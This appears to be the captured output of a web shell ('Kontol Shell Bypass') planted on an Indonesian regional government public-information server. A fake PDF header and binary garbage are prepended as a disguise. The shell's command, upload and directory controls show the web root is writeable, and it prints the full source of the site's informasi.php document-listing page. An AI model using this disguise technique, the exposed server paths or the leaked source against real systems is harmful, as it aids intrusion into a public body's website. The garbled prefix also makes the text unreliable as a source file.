%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/new-ppid-app/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/new-ppid-app/informasi.php
<?php
/**
 * Halaman Layanan Informasi — daftar dokumen publik per kategori & pencarian.
 *
 * Query string:
 *   ?kategori=slug   Filter kategori KIP.
 *   ?q=kata          Kata kunci pencarian.
 *   ?page=n          Halaman paginasi.
 */
require_once __DIR__ . '/config/config.php';
require_once __DIR__ . '/includes/queries.php';

$slug    = get_param('kategori');
$keyword = get_param('q');
$page    = max(1, (int) get_param('page', '1'));
$perPage = 9;
$offset  = ($page - 1) * $perPage;

$kategoriList = get_kategori('kip');
$activeKat    = $slug ? get_kategori_by_slug($slug) : null;

$folderView = $activeKat && $keyword === '';
$folders    = [];
$docsByDir  = [];
if ($folderView) {
    $folders = get_direktori_by_kategori((int) $activeKat['id']);
    $dstmt = db()->prepare(
        "SELECT d.* FROM dokumen_informasi d
         WHERE d.status = 'publish' AND d.kategori_id = ?
         ORDER BY d.created_at DESC"
    );
    $dstmt->execute([(int) $activeKat['id']]);
    $folderIdSet = [];
    foreach ($folders as $f) {
        $folderIdSet[(int) $f['id']] = true;
    }
    foreach ($dstmt->fetchAll() as $doc) {
        $did = (int) ($doc['direktori_id'] ?? 0);
        if ($did === 0 || empty($folderIdSet[$did])) {
            $did = 0; // tanpa folder / folder di luar kategori ini → grup "Lainnya"
        }
        $docsByDir[$did][] = $doc;
    }
}

// Bangun klausa WHERE secara dinamis dengan parameter terikat (aman).
$where  = ["d.status = 'publish'"];
$params = [];

if ($activeKat) {
    $where[] = 'd.kategori_id = :kat';
    $params[':kat'] = $activeKat['id'];
}
if ($keyword !== '') {
    // Placeholder bernama tidak boleh diulang pada native prepared statement,
    // jadi gunakan nama berbeda untuk tiap kolom dengan nilai yang sama.
    $where[] = '(d.judul LIKE :kw1 OR d.deskripsi LIKE :kw2 OR d.unit_kerja LIKE :kw3)';
    $like = '%' . $keyword . '%';
    $params[':kw1'] = $like;
    $params[':kw2'] = $like;
    $params[':kw3'] = $like;
}
$whereSql = implode(' AND ', $where);

// Total untuk paginasi.
$countStmt = db()->prepare("SELECT COUNT(*) FROM dokumen_informasi d WHERE $whereSql");
$countStmt->execute($params);
$total      = (int) $countStmt->fetchColumn();
$totalPages = max(1, (int) ceil($total / $perPage));

// Data dokumen.
$sql = "SELECT d.*, k.nama AS kategori_nama, k.slug AS kategori_slug, k.warna, k.icon
        FROM dokumen_informasi d
        JOIN kategori_informasi k ON k.id = d.kategori_id
        WHERE $whereSql
        ORDER BY d.created_at DESC
        LIMIT :limit OFFSET :offset";
$stmt = db()->prepare($sql);
foreach ($params as $k => $v) {
    $stmt->bindValue($k, $v);
}
$stmt->bindValue(':limit', $perPage, PDO::PARAM_INT);
$stmt->bindValue(':offset', $offset, PDO::PARAM_INT);
$stmt->execute();
$dokumen = $stmt->fetchAll();

// Helper untuk membangun URL paginasi/tab dengan mempertahankan filter.
$buildUrl = static function (array $overrides = []) use ($slug, $keyword): string {
    $params = array_filter([
        'kategori' => $overrides['kategori'] ?? $slug,
        'q'        => $overrides['q'] ?? $keyword,
        'page'     => $overrides['page'] ?? null,
    ], static fn ($v) => $v !== null && $v !== '');
    return url('informasi.php' . ($params ? '?' . http_build_query($params) : ''));
};

// Distribusi dokumen per kategori KIP untuk grafik donat.
$jumlahDok  = count_dokumen_per_kategori();
$warnaHex   = ['blue' => '#0369a1', 'red' => '#dc2626', 'green' => '#16a34a', 'slate' => '#94a3b8', 'gold' => '#ca8a04'];
$chartRows  = [];
$totalKip   = 0;
foreach ($kategoriList as $k) {
    $c = $jumlahDok[(int) $k['id']] ?? 0;
    $totalKip += $c;
    $chartRows[] = ['label' => $k['nama'], 'value' => $c, 'color' => $warnaHex[$k['warna']] ?? '#94a3b8'];
}

$pageTitle = ($activeKat ? $activeKat['nama'] : 'Layanan Informasi') . ' — ' . APP_NAME_SHORT;
$activeNav = 'layanan';
require __DIR__ . '/partials/head.php';
require __DIR__ . '/partials/navbar.php';
?>

<!-- Header halaman -->
<section class="relative overflow-hidden bg-gradient-to-br from-mateng-green to-mateng-blue text-white py-14">
    <?php require __DIR__ . '/partials/sekda-header.php'; ?>
    <div class="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8">
        <nav class="text-sm text-green-100 mb-3">
            <a href="<?= e(url('index.php')) ?>" class="hover:underline">Beranda</a>
            <span class="mx-2">/</span>
            <span>Layanan Informasi</span>
            <?php if ($activeKat): ?><span class="mx-2">/</span><span><?= e($activeKat['nama']) ?></span><?php endif; ?>
        </nav>
        <h1 class="text-3xl md:text-4xl font-extrabold mb-2"><?= e($activeKat['nama'] ?? 'Daftar Informasi Publik') ?></h1>
        <p class="text-green-50 max-w-2xl"><?= e($activeKat['deskripsi'] ?? 'Telusuri dan unduh dokumen informasi publik yang dikuasai Pemerintah Kabupaten Mamuju Tengah.') ?></p>
    </div>
</section>

<main class="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8 py-10 w-full">

    <!-- Grafik distribusi Informasi Publik -->
    <?php if ($totalKip > 0): ?>
    <div class="bg-white rounded-2xl border border-slate-100 shadow-sm p-6 sm:p-8 mb-8">
        <div class="flex items-center gap-2 mb-6">
            <span class="w-8 h-8 rounded-lg bg-mateng-green/10 text-mateng-green flex items-center justify-center"><i class="fas fa-chart-pie text-sm"></i></span>
            <h2 class="font-bold text-slate-800 text-lg">Informasi Publik</h2>
        </div>
        <div class="grid grid-cols-1 md:grid-cols-2 gap-8 items-center">
            <div class="relative mx-auto w-full" style="max-width:260px">
                <canvas id="infopubChart"></canvas>
                <div class="absolute inset-0 flex flex-col items-center justify-center pointer-events-none">
                    <span class="text-3xl font-extrabold text-slate-800"><?= number_format($totalKip) ?></span>
                    <span class="text-xs text-slate-400 uppercase tracking-widest">Infopub</span>
                </div>
            </div>
            <div class="space-y-3">
                <?php foreach ($chartRows as $r): $pct = $totalKip > 0 ? round($r['value'] / $totalKip * 100, 1) : 0; ?>
                    <div class="flex items-center gap-3">
                        <span class="w-3 h-3 rounded-full shrink-0" style="background-color:<?= $r['color'] ?>"></span>
                        <span class="text-sm text-slate-600 flex-grow"><?= e($r['label']) ?></span>
                        <span class="text-sm font-bold text-slate-800 w-12 text-right"><?= $pct ?>%</span>
                        <span class="text-xs text-slate-400 w-14 text-right"><?= (int) $r['value'] ?> dok</span>
                    </div>
                <?php endforeach; ?>
                <div class="flex items-center gap-3 pt-3 mt-1 border-t border-slate-100">
                    <span class="w-3 h-3 rounded-full shrink-0 bg-slate-800"></span>
                    <span class="text-sm font-semibold text-slate-700 flex-grow">Total</span>
                    <span class="text-sm font-bold text-slate-800 w-12 text-right">100%</span>
                    <span class="text-xs text-slate-400 w-14 text-right"><?= (int) $totalKip ?> dok</span>
                </div>
            </div>
        </div>
    </div>
    <script src="https://cdn.jsdelivr.net/npm/chart.js@4.4.3/dist/chart.umd.min.js"></script>
    <script>
        (function () {
            var el = document.getElementById('infopubChart');
            if (!el || !window.Chart) return;
            var dark = document.documentElement.classList.contains('dark');
            new Chart(el, {
                type: 'doughnut',
                data: {
                    labels: <?= json_encode(array_column($chartRows, 'label')) ?>,
                    datasets: [{
                        data: <?= json_encode(array_map('intval', array_column($chartRows, 'value'))) ?>,
                        backgroundColor: <?= json_encode(array_column($chartRows, 'color')) ?>,
                        borderColor: dark ? '#1e293b' : '#ffffff',
                        borderWidth: 3,
                        hoverOffset: 8
                    }]
                },
                options: {
                    cutout: '68%', responsive: true, maintainAspectRatio: true,
                    plugins: {
                        legend: { display: false },
                        tooltip: {
                            callbacks: {
                                label: function (c) {
                                    var t = c.dataset.data.reduce(function (a, b) { return a + b; }, 0);
                                    var p = t ? (c.parsed / t * 100) : 0;
                                    return ' ' + c.label + ': ' + c.parsed + ' dok (' + p.toFixed(1) + '%)';
                                }
                            }
                        }
                    }
                }
            });
        })();
    </script>
    <?php endif; ?>

    <!-- Filter & pencarian -->
    <div class="flex flex-col lg:flex-row lg:items-center gap-4 mb-8">
        <div class="flex flex-wrap gap-2">
            <a href="<?= e($buildUrl(['kategori' => '', 'q' => ''])) ?>" class="px-4 py-2 rounded-lg text-sm font-medium border transition-colors <?= !$activeKat ? 'bg-mateng-green text-white border-mateng-green' : 'bg-white text-slate-600 border-slate-200 hover:border-mateng-green' ?>">Semua</a>
            <?php foreach ($kategoriList as $kat): ?>
                <a href="<?= e($buildUrl(['kategori' => $kat['slug'], 'q' => ''])) ?>" class="px-4 py-2 rounded-lg text-sm font-medium border transition-colors <?= ($activeKat && $activeKat['id'] == $kat['id']) ? 'bg-mateng-green text-white border-mateng-green' : 'bg-white text-slate-600 border-slate-200 hover:border-mateng-green' ?>">
                    <?= e($kat['nama']) ?>
                </a>
            <?php endforeach; ?>
        </div>
        <form action="<?= e(url('informasi.php')) ?>" method="get" class="lg:ml-auto flex items-center bg-white border border-slate-200 rounded-lg px-3 py-2 focus-within:border-mateng-blue transition-colors w-full lg:w-80">
            <?php if ($slug): ?><input type="hidden" name="kategori" value="<?= e($slug) ?>"><?php endif; ?>
            <i class="fas fa-search text-slate-400 mr-2"></i>
            <input type="text" name="q" value="<?= e($keyword) ?>" placeholder="Cari dokumen..." class="bg-transparent outline-none text-sm w-full text-slate-700">
        </form>
    </div>

    <?php if ($folderView): ?>
        <div class="flex items-center gap-2 mb-4 text-sm font-semibold text-slate-600"><i class="fas fa-folder-tree text-mateng-green"></i> Folder pada kategori <?= e($activeKat['nama']) ?></div>
        <?php require __DIR__ . '/partials/direktori-accordion.php'; ?>

    <?php elseif (empty($dokumen)): ?>
        <div class="text-center py-20 bg-white rounded-2xl border border-slate-100">
            <i class="fas fa-folder-open text-5xl text-slate-300 mb-4"></i>
            <p class="text-slate-500 font-medium">Belum ada dokumen yang tersedia pada kriteria ini.</p>
        </div>
    <?php else:
        $resultText = $keyword !== ''
            ? 'Menampilkan <strong>' . (int) $total . '</strong> hasil untuk "<strong>' . e($keyword) . '</strong>"'
            : '<strong>' . (int) $total . '</strong> dokumen ditampilkan';
        $accent = 'green';
        require __DIR__ . '/partials/dokumen-koleksi.php';
    ?>

        <!-- Paginasi -->
        <?php if ($totalPages > 1): ?>
            <div class="flex justify-center items-center gap-2 mt-10">
                <?php if ($page > 1): ?>
                    <a href="<?= e($buildUrl(['page' => $page - 1])) ?>" class="px-3 py-2 rounded-lg border border-slate-200 bg-white text-slate-600 hover:border-mateng-green"><i class="fas fa-chevron-left"></i></a>
                <?php endif; ?>
                <?php for ($i = 1; $i <= $totalPages; $i++): ?>
                    <a href="<?= e($buildUrl(['page' => $i])) ?>" class="px-4 py-2 rounded-lg border text-sm font-medium <?= $i === $page ? 'bg-mateng-green text-white border-mateng-green' : 'bg-white text-slate-600 border-slate-200 hover:border-mateng-green' ?>"><?= $i ?></a>
                <?php endfor; ?>
                <?php if ($page < $totalPages): ?>
                    <a href="<?= e($buildUrl(['page' => $page + 1])) ?>" class="px-3 py-2 rounded-lg border border-slate-200 bg-white text-slate-600 hover:border-mateng-green"><i class="fas fa-chevron-right"></i></a>
                <?php endif; ?>
            </div>
        <?php endif; ?>
    <?php endif; ?>
</main>

<?php require __DIR__ . '/partials/footer.php'; ?>

Kontol Shell Bypass